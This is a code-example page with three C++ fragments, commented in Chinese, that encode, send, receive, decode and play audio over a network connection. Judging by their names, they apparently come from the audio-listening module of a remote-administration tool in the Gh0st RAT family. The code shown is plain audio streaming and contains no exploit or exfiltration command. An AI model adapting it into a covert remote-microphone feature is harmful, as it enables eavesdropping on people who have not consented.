Пример #1
0
// 负责发送本地语音
DWORD WINAPI CAudioDlg::WorkThread(LPVOID lparam)
{
    CAudioDlg	*pThis = (CAudioDlg *)lparam;

    while (pThis->m_bIsWorking)
    {
        if (!pThis->m_bIsSendLocalAudio)
        {
            Sleep(1000);
            continue;
        }

        DWORD	dwBytes = 0;

        WaitForSingleObject(m_hEventWaveIn, INFINITE);   //等待音频数据到来
        if(ReaiLen == NULL)
            return 0;

        dwBytes = ReaiLen;
        ReaiLen = 0;

//		::MessageBox(NULL,"001", "通知!!", MB_OK);
        //音频编码函数
        int lin;
        char m_cBufln[1024];
        lin=sizeof(m_cBufln);
        g_ACode.EncodeAudioData (Readata,dwBytes,m_cBufln,&lin);
        pThis->m_iocpServer->Send(pThis->m_pContext, (unsigned char *)m_cBufln, lin);

//		SetEvent(m_HoMiEven);// 通知波形数据到来
    }
    return 0;
}
Пример #2
0
void CMyWaveIn::GetData(char *pBuffer,int iLen)
{
	m_soLock.Lock ();
	if (m_bSend)
	{
		int iOut = sizeof(m_cBufOut);
		g_ACode.EncodeAudioData (pBuffer,iLen,m_cBufOut,&iOut);
		m_pUdp->Send (m_cBufOut,iOut);
	}
	m_soLock.Unlock ();

	CWaveIn::GetData (pBuffer,iLen);
}
Пример #3
0
void CAudioDlg::OnReceiveComplete()
{
    m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;

//	CString	str;
// 	str.Format("%d kb", m_nTotalRecvBytes / 1024);
//	SetDlgItemText(IDC_TIPS, str);

    switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
    {
    case TOKEN_AUDIO_DATA:
        // 首先调用音频编解码器解码数据
        int lOut;
        lOut = sizeof(m_cBufOut);
        g_ACode.DecodeAudioData ((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1,m_cBufOut,&lOut);
        g_WaveOut.Play(m_cBufOut,lOut);   //信息播放

        SetEvent(m_HoMiEven);// 通知波形数据到来
        break;
    default:
        // 传输发生异常数据
        return;
    }
}